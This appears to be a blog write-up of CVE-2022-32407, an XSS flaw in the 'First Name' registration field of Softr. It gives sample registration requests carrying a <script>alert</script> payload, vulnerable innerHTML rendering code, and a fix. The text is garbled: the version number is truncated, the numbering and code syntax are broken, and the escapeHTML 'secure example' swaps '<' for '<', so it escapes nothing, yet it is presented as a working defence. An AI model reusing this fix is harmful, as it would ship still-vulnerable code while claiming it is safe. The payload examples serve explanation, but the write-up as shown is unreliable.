CVE-2022-32407 - How a Simple “First Name” Field in Softr v2. Opened the Door to XSS Attacks
_If you ever thought a name field was harmless, think again. In today’s breakdown, we’ll dive into CVE-2022-32407, a Cross-Site Scripting (XSS) vulnerability discovered in Softr v2.—specifically, through the “First Name” input when creating a new user account. We’ll see exactly how this exploit works, what the code looks like, and—most importantly—how simple mistakes in user input validation can spell trouble for web applications._
What is CVE-2022-32407?
CVE-2022-32407 is a security flaw affecting Softr v2., where the application failed to sanitize user inputs in the “Create A New Account” module. Attackers could inject JavaScript code into the First Name parameter, which is later reflected to users without escaping. This allows malicious web scripts or HTML to execute in another user's browser (classic _reflected XSS_).
A normal registration request
POST /register
Content-Type: application/x-www-form-urlencoded
first_name=Alice&last_name=Smith&email=alice@example.com&password=SuperSafe123
An attacker could swap out their own name for a payload
first_name=<script>alert('Hacked!')</script>
So the registration payload becomes
POST /register
Content-Type: application/x-www-form-urlencoded
first_name=<script>alert('Hacked!')</script>&last_name=Smith&email=attacker@example.com&password=NotSoSafe
3. The Injection Point
If the app later displays “Welcome, [First Name]” somewhere without escaping or sanitizing output, the browser interprets the injected script:
<h1>Welcome, <script>alert('Hacked!')</script>!</h1>
As a result, the browser runsalert('Hacked!') — or much worse if the attacker uses a more dangerous payload.
`
3. After completing registration, whenever your profile or greeting message is loaded and the field isn’t escaped properly, you’ll see a pop-up. (An attacker could steal cookies, session tokens, etc.)
If Softr renders First Name like this server-side (or client-side via template)
const greeting = <h1>Welcome, ${user.first_name}!</h1>;
document.body.innerHTML += greeting;
…and user.first_name contains an XSS payload, it executes immediately.
Softr v2. (all builds before a fix was released)
- Any web application module where input fields are output to pages without validation/escaping
How Can Developers Fix This?
1. Sanitize all user inputs: Never trust client data — especially anything rendered in the browser
Escape output: Use escaping libraries or frameworks to auto-escape HTML special characters
3. Validate input server-side: Only allow expected characters for name fields (letters, hyphens, etc.)
Secure Example (using JavaScript)
function escapeHTML(str) {
return str.replace(/</g, "<").replace(/>/g, ">");
}
const safeGreeting = <h1>Welcome, ${escapeHTML(user.first_name)}!</h1>;
document.body.innerHTML += safeGreeting;
Now, <script> will show as text, not run as code.
NVD Entry for CVE-2022-32407:
https://nvd.nist.gov/vuln/detail/CVE-2022-32407
Exploit Database:
https://www.exploit-db.com/exploits/51087
OWASP XSS Guidance:
https://owasp.org/www-community/attacks/xss/
Summary
Even a “First Name” can be a trojan horse. CVE-2022-32407 is a wakeup call about validating and escaping input in all forms, not just sensitive ones. XSS exploits can turn friendly fields into launchpads for attacks—and can sometimes be as simple as a few stray characters in a name field.
Timeline
Published on: 10/27/2022 19:15:00 UTC
Last modified on: 10/28/2022 19:01:00 UTC